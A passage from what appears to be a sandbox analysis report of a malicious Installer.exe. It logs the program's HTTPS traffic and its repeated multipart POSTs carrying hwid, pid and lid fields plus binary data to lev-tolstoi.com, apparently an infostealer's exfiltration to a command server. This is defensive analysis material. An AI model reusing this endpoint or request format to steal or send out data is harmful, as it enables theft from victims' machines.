cfL4;desc="?proto=TCP&rtt=1792&min_rtt=1781&rtt_var=690&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=951&delivery_rate=1562332&cwnd=236&unsent_bytes=0&cid=b353108630ab5be5&ts=825&x=0"
2024-12-27 22:13:31 UTC	250	IN	Data Raw: 34 37 31 0d 0a 74 4b 57 4d 6d 54 70 62 72 59 4d 47 39 58 58 32 78 51 47 61 32 41 4d 65 31 58 6c 31 68 75 54 35 76 74 51 33 62 30 50 50 41 56 72 50 68 2f 71 37 41 47 2b 42 6f 58 57 51 56 38 79 78 63 2b 2b 39 4c 7a 79 30 48 56 65 38 67 70 6a 53 70 31 4a 44 59 62 6c 73 65 49 37 44 37 66 56 4a 50 6f 47 68 59 34 31 58 7a 4a 35 36 75 4c 31 74 50 4f 39 62 45 4f 79 47 6d 4e 4b 32 56 67 51 73 76 32 30 35 33 4d 6e 72 38 56 38 34 79 65 4a 71 6d 42 43 54 6f 47 44 77 74 6d 70 7a 76 52 52 58 71 73 61 63 78 50 59 4e 54 51 36 71 64 54 76 35 78 50 2f 79 47 43 61 42 2b 43 53 51 47 39 54 2f 49 2f 75 39 59 58 4b 7a 48 52 37 75 6a 4a 48 61 74 31 4d 46 4d 36 5a 6e 4d 74 7a 48 36 50 42 56 4d 64 33 76 59 4a 38 62 6c 61 70 67 75 50 51 68 65 36 39 62 54 36 54 56 71 Data Ascii: 471tKWMmTpbrYMG9XX2xQGa2AMe1Xl1huT5vtQ3b0PPAVrPh/q7AG+BoXWQV8yxc++9Lzy0HVe8gpjSp1JDYblseI7D7fVJPoGhY41XzJ56uL1tPO9bEOyGmNK2VgQsv2053Mnr8V84yeJqmBCToGDwtmpzvRRXqsacxPYNTQ6qdTv5xP/yGCaB+CSQG9T/I/u9YXKzHR7ujJHat1MFM6ZnMtzH6PBVMd3vYJ8blapguPQhe69bT6TVq
2024-12-27 22:13:31 UTC	894	IN	Data Raw: 64 2b 6e 52 42 67 73 76 57 56 34 79 59 6e 33 75 31 38 31 6a 37 6b 6b 6e 78 75 61 6f 6d 44 33 76 57 42 38 70 52 51 58 35 34 36 54 32 4c 78 61 41 69 36 6a 61 54 2f 65 7a 75 6e 30 58 7a 48 4a 37 6d 66 58 57 64 53 67 65 37 6a 69 49 56 79 6e 47 42 54 77 69 34 71 63 71 52 73 55 59 61 70 76 65 49 36 48 36 50 56 5a 4e 4d 2f 7a 62 4a 77 63 6b 62 56 6f 38 62 64 73 66 4c 6f 52 47 4f 65 47 6e 4e 61 38 57 67 63 6c 6f 47 34 2b 31 73 65 75 74 52 67 2b 31 36 45 38 31 7a 53 52 74 32 54 30 72 43 4e 47 39 77 52 5a 2f 63 61 63 30 50 59 4e 54 53 6d 6f 59 44 76 64 79 4f 33 7a 55 79 76 50 38 32 4b 61 45 6f 61 68 5a 76 61 77 59 6d 36 39 46 52 48 6e 6a 35 44 56 73 31 49 4a 59 65 4d 6a 50 38 36 48 74 72 74 35 4e 4d 54 74 62 6f 41 58 31 4c 67 74 34 66 70 6d 63 50 64 44 56 2b 43 48 Data Ascii: d+nRBgsvWV4yYn3u181j7kknxuaomD3vWB8pRQX546T2LxaAi6jaT/ezun0XzHJ7mfXWdSge7jiIVynGBTwi4qcqRsUYapveI6H6PVZNM/zbJwckbVo8bdsfLoRGOeGnNa8WgcloG4+1seutRg+16E81zSRt2T0rCNG9wRZ/cac0PYNTSmoYDvdyO3zUyvP82KaEoahZvawYm69FRHnj5DVs1IJYeMjP86Htrt5NMTtboAX1Lgt4fpmcPdDV+CH
2024-12-27 22:13:31 UTC	1369	IN	Data Raw: 34 34 61 62 0d 0a 2f 76 49 67 70 79 78 57 55 31 35 37 57 77 33 32 63 2f 75 2b 6c 77 30 79 2b 42 70 6d 78 36 58 71 32 2f 77 74 32 31 34 75 42 4d 66 35 34 36 4a 30 72 68 54 43 79 47 6f 49 33 61 57 77 50 61 37 41 48 6e 72 37 33 4f 44 48 4e 61 53 59 50 61 30 5a 6d 72 33 42 46 6e 39 78 70 7a 51 39 67 31 4e 4c 36 42 6f 4e 4e 48 4f 37 2f 68 59 4d 38 48 75 62 70 38 66 6c 4b 70 69 38 37 4a 6e 63 62 77 55 47 4f 4f 4f 6d 4e 43 7a 57 41 35 68 34 79 4d 2f 7a 6f 65 32 75 33 30 33 7a 50 42 31 31 53 4b 58 71 57 33 2f 72 43 46 6a 2b 51 4a 58 34 34 72 62 68 50 5a 66 43 69 61 70 62 6a 4c 56 77 2b 72 32 56 7a 44 47 36 48 61 64 47 35 71 31 62 76 4b 2f 62 33 43 79 46 42 66 6c 68 35 58 57 76 52 56 44 59 61 70 37 65 49 36 48 77 66 5a 49 4b 38 58 71 64 64 55 69 6c 36 6c 74 2f 36 Data Ascii: 44ab/vIgpyxWU157Ww32c/u+lw0y+Bpmx6Xq2/wt214uBMf546J0rhTCyGoI3aWwPa7AHnr73ODHNaSYPa0Zmr3BFn9xpzQ9g1NL6BoNNHO7/hYM8Hubp8flKpi87JncbwUGOOOmNCzWA5h4yM/zoe2u303zPB11SKXqW3/rCFj+QJX44rbhPZfCiapbjLVw+r2VzDG6HadG5q1bvK/b3CyFBflh5XWvRVDYap7eI6HwfZIK8XqddUil6lt/6
2024-12-27 22:13:31 UTC	1369	IN	Data Raw: 44 52 32 6b 6d 64 58 46 39 6c 49 42 59 66 55 6a 4d 74 72 44 37 66 64 52 4e 63 4c 67 59 4a 41 61 6b 4b 64 6c 2f 72 39 67 64 37 38 58 47 4f 36 4b 6e 39 43 2f 55 77 45 69 72 6d 56 34 6d 49 66 70 34 78 68 68 6a 38 42 70 6e 42 75 55 70 48 4c 2f 2b 69 38 38 75 52 30 58 70 4e 36 4e 7a 4b 46 53 45 6d 2b 30 49 7a 2f 61 68 37 61 37 55 69 76 4b 37 32 43 64 45 70 43 72 61 66 69 2f 63 33 53 78 48 42 76 73 67 35 54 61 73 31 67 4b 4b 71 35 78 4b 74 58 44 34 50 63 59 64 34 2f 6d 66 4e 64 50 31 49 4a 30 2b 36 70 6e 66 2f 63 45 57 66 33 47 6e 4e 44 32 44 55 30 68 6f 32 38 7a 30 63 7a 6c 2f 31 77 35 77 75 70 71 6d 52 36 59 72 32 2f 2f 71 47 78 35 76 78 45 65 34 59 71 57 33 36 52 57 44 47 48 6a 49 7a 2f 4f 68 37 61 37 66 77 72 34 77 69 53 49 57 59 33 6e 5a 50 54 36 4f 54 79 Data Ascii: DR2kmdXF9lIBYfUjMtrD7fdRNcLgYJAakKdl/r9gd78XGO6Kn9C/UwEirmV4mIfp4xhhj8BpnBuUpHL/+i88uR0XpN6NzKFSEm+0Iz/ah7a7UivK72CdEpCrafi/c3SxHBvsg5Tas1gKKq5xKtXD4PcYd4/mfNdP1IJ0+6pnf/cEWf3GnND2DU0ho28z0czl/1w5wupqmR6Yr2//qGx5vxEe4YqW36RWDGHjIz/Oh7a7fwr4wiSIWY3nZPT6OTy
2024-12-27 22:13:31 UTC	1369	IN	Data Raw: 38 61 45 6b 71 38 56 43 69 33 74 4f 33 6a 52 7a 2b 62 31 57 7a 2f 45 37 57 69 57 48 70 4b 69 61 2f 2b 31 5a 6e 57 77 47 78 48 32 67 5a 62 56 74 6c 34 45 4b 36 6c 69 4d 35 61 4a 72 76 78 41 65 5a 65 68 56 70 41 42 68 4b 51 6a 35 2f 52 34 50 4c 41 58 56 37 7a 47 6c 73 36 33 55 42 38 6c 6f 6d 67 71 33 63 48 75 2f 6b 6f 2b 77 2b 74 72 6c 42 2b 5a 70 47 76 71 75 6d 78 38 70 51 6b 52 37 34 6a 62 6b 76 5a 53 46 57 48 31 49 77 6e 42 7a 4b 37 6b 46 69 43 50 35 6d 6a 58 54 39 53 6b 61 66 57 30 63 33 69 78 45 42 54 71 6a 70 37 55 73 6c 38 41 4c 71 5a 70 4d 64 37 48 34 66 35 51 4d 73 6e 76 5a 5a 45 62 6d 65 63 74 75 4c 31 35 50 4f 39 62 4d 50 36 4c 6e 63 75 6e 59 41 6f 68 2f 43 4d 6e 6d 4e 36 75 2f 46 52 35 6c 36 46 70 6d 78 32 5a 6f 6d 66 77 76 57 4a 39 75 78 38 61 Data Ascii: 8aEkq8VCi3tO3jRz+b1Wz/E7WiWHpKia/+1ZnWwGxH2gZbVtl4EK6liM5aJrvxAeZehVpABhKQj5/R4PLAXV7zGls63UB8lomgq3cHu/ko+w+trlB+ZpGvqumx8pQkR74jbkvZSFWH1IwnBzK7kFiCP5mjXT9SkafW0c3ixEBTqjp7Usl8ALqZpMd7H4f5QMsnvZZEbmectuL15PO9bMP6LncunYAoh/CMnmN6u/FR5l6Fpmx2ZomfwvWJ9ux8a
2024-12-27 22:13:31 UTC	1369	IN	Data Raw: 54 32 57 77 41 6e 72 47 49 77 33 73 66 6f 38 56 77 36 78 75 4a 6a 6e 68 47 66 70 47 6e 33 76 57 64 34 74 78 41 51 36 6f 43 65 31 37 38 56 51 32 47 71 65 33 69 4f 68 38 6a 59 53 69 76 39 37 32 65 4d 56 34 76 70 65 72 69 39 62 54 7a 76 57 78 7a 73 69 59 6e 5a 76 31 30 4a 4b 4b 31 6e 4d 74 76 41 37 76 35 56 50 4d 76 76 59 4a 41 58 6d 4b 68 6b 38 4c 56 6c 66 4c 68 62 57 61 53 42 67 35 7a 75 46 53 30 71 75 30 49 32 33 64 57 75 35 42 59 67 6a 2b 5a 6f 31 30 2f 55 71 57 72 35 73 6d 39 77 76 78 38 46 35 49 32 53 30 37 64 61 44 53 4b 73 61 54 44 45 77 65 37 77 55 44 37 48 35 57 71 46 46 70 76 6e 4c 62 69 39 65 54 7a 76 57 79 62 79 67 5a 7a 54 39 48 77 4b 4f 71 78 70 4f 39 33 4c 72 75 51 57 49 49 2f 6d 61 4e 64 50 31 4b 70 76 39 62 35 7a 63 4c 63 62 48 75 4f 4d 69 Data Ascii: T2WwAnrGIw3sfo8Vw6xuJjnhGfpGn3vWd4txAQ6oCe178VQ2Gqe3iOh8jYSiv972eMV4vperi9bTzvWxzsiYnZv10JKK1nMtvA7v5VPMvvYJAXmKhk8LVlfLhbWaSBg5zuFS0qu0I23dWu5BYgj+Zo10/UqWr5sm9wvx8F5I2S07daDSKsaTDEwe7wUD7H5WqFFpvnLbi9eTzvWybygZzT9HwKOqxpO93LruQWII/maNdP1Kpv9b5zcLcbHuOMi
2024-12-27 22:13:31 UTC	1369	IN	Data Raw: 4d 4c 61 64 6b 4e 73 54 47 35 50 64 5a 50 73 6a 71 64 70 77 46 6e 36 39 67 39 72 4a 6f 66 4c 6b 62 46 75 6d 47 32 35 4c 32 55 68 56 68 39 53 4d 64 39 64 44 34 38 52 6f 61 32 50 64 75 6b 42 75 43 72 47 4c 37 72 47 78 73 39 31 56 58 39 59 47 4b 6e 4f 35 44 48 54 61 71 66 48 62 50 68 2b 6e 33 47 47 47 50 36 6d 75 5a 47 70 2b 6a 61 76 32 79 59 6e 6d 79 45 52 76 6f 68 35 50 56 76 46 41 49 4a 36 64 67 4e 74 6e 47 34 76 39 52 4e 38 61 68 4b 74 63 51 6a 4f 63 37 75 49 78 78 65 36 38 57 42 36 61 30 6d 4d 32 6e 51 41 41 78 71 79 45 58 31 63 76 74 2f 6c 38 70 6a 2f 34 71 6a 6c 65 54 71 79 4f 67 2b 6d 46 34 75 78 67 51 36 6f 6d 57 30 37 46 65 41 69 75 6a 63 54 66 54 7a 2b 4c 7a 56 53 76 46 36 33 61 65 48 70 6d 70 61 2b 71 35 49 54 4c 33 48 41 2b 6b 33 74 76 75 76 46 Data Ascii: MLadkNsTG5PdZPsjqdpwFn69g9rJofLkbFumG25L2UhVh9SMd9dD48Roa2PdukBuCrGL7rGxs91VX9YGKnO5DHTaqfHbPh+n3GGGP6muZGp+jav2yYnmyERvoh5PVvFAIJ6dgNtnG4v9RN8ahKtcQjOc7uIxxe68WB6a0mM2nQAAxqyEX1cvt/l8pj/4qjleTqyOg+mF4uxgQ6omW07FeAiujcTfTz+LzVSvF63aeHpmpa+q5ITL3HA+k3tvuvF
2024-12-27 22:13:31 UTC	1369	IN	Data Raw: 63 7a 76 54 77 4e 44 46 56 6a 37 62 35 6d 71 52 46 39 54 70 49 2f 66 36 4f 55 58 33 55 31 66 62 79 4e 76 45 39 67 31 4e 46 4b 35 74 4e 74 48 52 2f 37 5a 37 4c 74 6e 72 66 39 55 78 6b 37 5a 71 37 72 64 7a 50 50 6c 62 45 61 54 65 79 35 4c 32 55 52 78 68 39 54 4e 71 6a 5a 4b 39 72 41 68 72 30 4b 39 39 31 77 48 55 2f 7a 47 32 2b 6e 4d 38 37 31 74 51 35 35 53 4a 32 72 56 44 44 6d 61 54 58 52 6a 64 30 65 2f 32 55 7a 58 78 33 33 47 55 47 5a 71 67 64 65 6e 36 4c 7a 79 34 57 30 2f 64 78 74 4f 63 69 52 74 4e 4f 65 30 37 65 4f 50 45 34 50 56 66 4c 39 36 73 52 4a 77 42 6c 61 70 6f 39 50 68 67 63 61 63 63 56 36 72 47 6e 5a 7a 75 42 55 4e 68 71 58 4a 34 6a 70 65 38 6f 41 31 71 6d 4c 45 32 69 46 6d 4e 35 33 57 34 34 6a 4d 79 39 77 6c 58 76 4d 62 63 33 36 52 48 43 79 4b Data Ascii: czvTwNDFVj7b5mqRF9TpI/f6OUX3U1fbyNvE9g1NFK5tNtHR/7Z7Ltnrf9Uxk7Zq7rdzPPlbEaTey5L2URxh9TNqjZK9rAhr0K991wHU/zG2+nM871tQ55SJ2rVDDmaTXRjd0e/2UzXx33GUGZqgden6Lzy4W0/dxtOciRtNOe07eOPE4PVfL96sRJwBlapo9PhgcaccV6rGnZzuBUNhqXJ4jpe8oA1qmLE2iFmN53W44jMy9wlXvMbc36RHCyK
2024-12-27 22:13:31 UTC	1369	IN	Data Raw: 59 65 67 75 31 35 35 6c 37 4d 71 31 78 4f 46 35 7a 75 6f 36 44 6f 70 35 45 78 48 74 70 6e 56 78 66 5a 44 54 58 6e 2f 4c 58 6a 45 68 37 61 37 48 7a 72 64 38 32 4b 55 41 5a 66 67 58 63 61 63 59 6e 75 78 47 42 6e 7a 6c 39 6e 7a 74 56 34 42 4c 61 70 31 42 75 6a 53 37 66 56 57 50 74 6e 77 4a 4e 6c 58 6d 2b 63 37 77 66 70 77 64 72 42 58 58 36 69 58 69 4e 4b 39 51 77 70 68 6b 69 31 34 7a 6f 65 32 75 32 30 36 77 65 39 6a 67 51 62 5a 67 57 44 2f 76 47 4a 79 6f 41 70 58 71 73 61 64 6e 4f 34 48 51 32 47 70 63 6e 69 4f 6c 37 79 67 44 57 71 59 73 54 61 49 57 59 33 6e 64 62 6a 69 4d 6a 4c 33 43 56 65 38 78 74 7a 53 75 31 51 4f 4c 36 35 78 4b 74 44 45 2b 50 67 66 42 2f 48 45 61 5a 6f 53 6d 71 42 64 78 70 74 72 62 4c 6f 55 45 4e 71 34 72 4d 32 78 52 55 38 48 72 6e 55 37 Data Ascii: Yegu155l7Mq1xOF5zuo6Dop5ExHtpnVxfZDTXn/LXjEh7a7Hzrd82KUAZfgXcacYnuxGBnzl9nztV4BLap1BujS7fVWPtnwJNlXm+c7wfpwdrBXX6iXiNK9Qwphki14zoe2u206we9jgQbZgWD/vGJyoApXqsadnO4HQ2GpcniOl7ygDWqYsTaIWY3ndbjiMjL3CVe8xtzSu1QOL65xKtDE+PgfB/HEaZoSmqBdxptrbLoUENq4rM2xRU8HrnU7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	104.21.66.86	443	7488	C:\Users\user\Desktop\Installer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:13:32 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PTTT95CE7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18114 Host: lev-tolstoi.com
2024-12-27 22:13:32 UTC	15331	OUT	Data Raw: 2d 2d 50 54 54 54 39 35 43 45 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 45 41 43 37 41 44 35 46 37 37 35 44 46 42 37 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 50 54 54 54 39 35 43 45 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 54 54 54 39 35 43 45 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 32 32 33 31 39 38 36 37 31 0d 0a 2d 2d 50 54 54 54 39 35 43 45 37 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --PTTT95CE7Content-Disposition: form-data; name="hwid"4EAC7AD5F775DFB71441EDD8E05CE3DA--PTTT95CE7Content-Disposition: form-data; name="pid"2--PTTT95CE7Content-Disposition: form-data; name="lid"yau6Na--5223198671--PTTT95CE7Content
2024-12-27 22:13:32 UTC	2783	OUT	Data Raw: c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_
2024-12-27 22:13:33 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cl53q3p7ftlmtcerli4tovjj31; expires=Tue, 22 Apr 2025 16:00:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l8T%2FJbKZppfl02RFZaJwJ6pb74zjbP7m7Dql3zPxt1rygLUKXtypNmB1r0TFMHnMVkJfmf9xwjpDokeqQOzZX4H9jN5E1%2BGTu8a57AB25sCGAjFZYKaU%2BK28mpw5yYD5Vnw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ca890ef1543a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1734&min_rtt=1695&rtt_var=663&sent=12&recv=21&lost=0&retrans=0&sent_bytes=2835&recv_bytes=19066&delivery_rate=1722713&cwnd=186&unsent_bytes=0&cid=14b7ac484a1eece2&ts=985&x=0"
2024-12-27 22:13:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:13:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	104.21.66.86	443	7488	C:\Users\user\Desktop\Installer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:13:35 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=V65PP5PG20H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8747 Host: lev-tolstoi.com
2024-12-27 22:13:35 UTC	8747	OUT	Data Raw: 2d 2d 56 36 35 50 50 35 50 47 32 30 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 45 41 43 37 41 44 35 46 37 37 35 44 46 42 37 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 56 36 35 50 50 35 50 47 32 30 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 36 35 50 50 35 50 47 32 30 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 32 32 33 31 39 38 36 37 31 0d 0a 2d 2d 56 36 35 50 50 35 50 47 32 30 48 0d Data Ascii: --V65PP5PG20HContent-Disposition: form-data; name="hwid"4EAC7AD5F775DFB71441EDD8E05CE3DA--V65PP5PG20HContent-Disposition: form-data; name="pid"2--V65PP5PG20HContent-Disposition: form-data; name="lid"yau6Na--5223198671--V65PP5PG20H
2024-12-27 22:13:36 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b62b4gd1g88nnuq2bpsgg4ll4o; expires=Tue, 22 Apr 2025 16:00:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cEqAPknwBAdhvMqXYl%2FEkwqOnpPZ7Z5hHCf1Vphy0xw2DYt8NK5hBIx0aXHCM4I9ehHxwMS2ooI0PWVfqYE%2BB5%2FWC6Iwru8BE13iItMZQ7PzdvCGb%2FzS0TXpb9xFqvKiy9I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ca89ffcb7f78d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1487&min_rtt=1485&rtt_var=561&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2834&recv_bytes=9678&delivery_rate=1945369&cwnd=104&unsent_bytes=0&cid=0edef60d6ba53bc3&ts=830&x=0"
2024-12-27 22:13:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:13:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	104.21.66.86	443	7488	C:\Users\user\Desktop\Installer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:13:37 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L860Q9XLZ5OUXDNV6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20436 Host: lev-tolstoi.com
2024-12-27 22:13:37 UTC	15331	OUT	Data Raw: 2d 2d 4c 38 36 30 51 39 58 4c 5a 35 4f 55 58 44 4e 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 45 41 43 37 41 44 35 46 37 37 35 44 46 42 37 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 4c 38 36 30 51 39 58 4c 5a 35 4f 55 58 44 4e 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 38 36 30 51 39 58 4c 5a 35 4f 55 58 44 4e 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 32 32 33 31 39 38 36 Data Ascii: --L860Q9XLZ5OUXDNV6Content-Disposition: form-data; name="hwid"4EAC7AD5F775DFB71441EDD8E05CE3DA--L860Q9XLZ5OUXDNV6Content-Disposition: form-data; name="pid"3--L860Q9XLZ5OUXDNV6Content-Disposition: form-data; name="lid"yau6Na--52231986
2024-12-27 22:13:37 UTC	5105	OUT	Data Raw: 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-27 22:13:38 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3lminkoju1frtj8q10920i1q18; expires=Tue, 22 Apr 2025 16:00:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f2DQHFPwa04XmRrsZofzst%2BnBSDVpGS6T1%2FaW81SS4qPC626XZ0U5k36h9vuPVXA%2Fvw5Ncb5%2B9%2BetV7srj4uXpetNAIVBRIwG%2B76ZY1vHAYKF4i4W7JKjdriP62qZdDYkPI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ca8aded467c99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1893&min_rtt=1863&rtt_var=720&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21396&delivery_rate=1567364&cwnd=235&unsent_bytes=0&cid=e3ea1f35ab5e2f2a&ts=959&x=0"
2024-12-27 22:13:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:13:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49741	104.21.66.86	443	7488	C:\Users\user\Desktop\Installer.exe

